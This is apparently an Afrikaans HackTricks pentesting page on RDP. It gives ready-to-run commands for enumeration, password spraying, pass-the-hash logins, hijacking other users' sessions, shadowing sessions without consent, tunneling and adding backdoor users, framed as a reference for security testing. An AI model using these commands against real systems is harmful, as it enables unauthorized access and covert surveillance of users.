3389 - Pentesting RDP
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
Basic Information
Ontwikkel deur Microsoft is die Remote Desktop Protocol (RDP) ontwerp om ’n grafiese koppelvlakverbinding tussen rekenaars oor ’n netwerk moontlik te maak. Om so ’n verbinding te vestig, gebruik die gebruiker ’n RDP-client, en terselfdertyd moet die afgeleë rekenaar RDP-bediener sagteware laat loop. Hierdie opstelling maak dit moontlik om die desktopomgewing van ’n verre rekenaar na die gebruiker se plaaslike toestel te bring en dit te beheer.
Standaardpoort: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumerasie
Outomaties
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Dit kontroleer die beskikbare enkripsie en DoS-kwesbaarheid (sonder om DoS aan die diens te veroorsaak) en verkry NTLM Windows-inligting (weergawes).
Sekuriteitslaag / NLA-kontroles
RDP kan verskillende sekuriteitslae onderhandel (native RDP, TLS, of CredSSP/NLA). Jy kan vinnig die bediener-kantinstellings fingerprint en bepaal of NLA vereis word:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Wees versigtig, jy kan rekeninge blokkeer
Password Spraying
Wees versigtig, jy kan rekeninge blokkeer
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Verbind met bekende credentials/hash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Kontroleer bekende credentials teen RDP-dienste
rdp_check.py van impacket laat jou toe om te kontroleer of sekere credentials geldig is vir ’n RDP-diens:
rdp_check <domain>/<name>:<password>@<IP>
Aanvalle
Sessie-diefstal
Met SYSTEM permissions kan jy toegang kry tot enige geopende RDP-sessie van enige gebruiker sonder om die eienaar se wagwoord te ken.
Kry geopende sessies:
query user
Toegang tot die geselekteerde sessie
tscon <ID> /dest:<SESSIONNAME>
Nou sal jy binne die geselekteerde RDP-sessie wees en moet jy ’n gebruiker naboots deur slegs Windows-hulpmiddels en -funksies te gebruik.
Belangrik: Wanneer jy toegang kry tot ’n aktiewe RDP-sessie, sal jy die gebruiker ontkoppel wat dit gebruik het.
Jy kan wagwoorde kry deur prosesse te dump, maar hierdie metode is baie vinniger en stel jou in staat om met die gebruiker se virtuele lessenaars te werk (wagwoorde in notepad sonder dat dit op skyf gestoor word, ander RDP-sessies wat op ander masjiene oop is…)
Mimikatz
Jy kan ook mimikatz gebruik om dit te doen:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Indien Remote Desktop Services shadowing geaktiveer is, kan jy ’n ander gebruiker se aktiewe sessie besigtig of beheer (soms sonder toestemming) deur die ingeboude mstsc-skakelaars te gebruik.
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP ondersteun virtual channels wat misbruik kan word vir pivoting/tunneling oor ’n gevestigde RDP-sessie. Een opsie is rdp2tcp (client/server) wat TCP forwards oor RDP kan multiplex (werk met FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Deur hierdie tegniek te kombineer met stickykeys of utilman sal jy toegang kry tot ’n administratiewe CMD en enige RDP-sessie enige tyd
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Indien iemand van ’n ander domein of met better privileges login via RDP op die PC waar you are an Admin aanmeld, kan jy jou beacon in sy RDP session process inject en as hy optree:
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
Outomatiese Gereedskap
AutoRDPwn is ’n post-exploitation raamwerk geskep in Powershell, ontwerp hoofsaaklik om die Shadow aanval op Microsoft Windows-rekenaars te outomatiseer. Hierdie kwesbaarheid (deur Microsoft as ’n funksie gelys) stel ’n afgeleë aanvaller in staat om sy slagoffer se lessenaar sonder sy toestemming te sien, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.
-
Control muis en sleutelbord op ’n geoutomatiseerde wyse vanaf die command line
-
Control clipboard op ’n geoutomatiseerde wyse vanaf die command line
-
Spawn ’n SOCKS proxy vanaf die client wat netwerkkommunikasie na die teiken kanaliseer via RDP
-
Execute arbitrary SHELL en PowerShell commands op die teiken sonder om files op te laai
-
Upload and download files na/van die teiken selfs wanneer file transfers op die teiken gedeaktiveer is
Hierdie tool laat toe om opdragte in die slagoffer se RDP uit te voer sonder ’n grafiese koppelvlak.
HackTricks Automatic Commands
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Verwysings
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


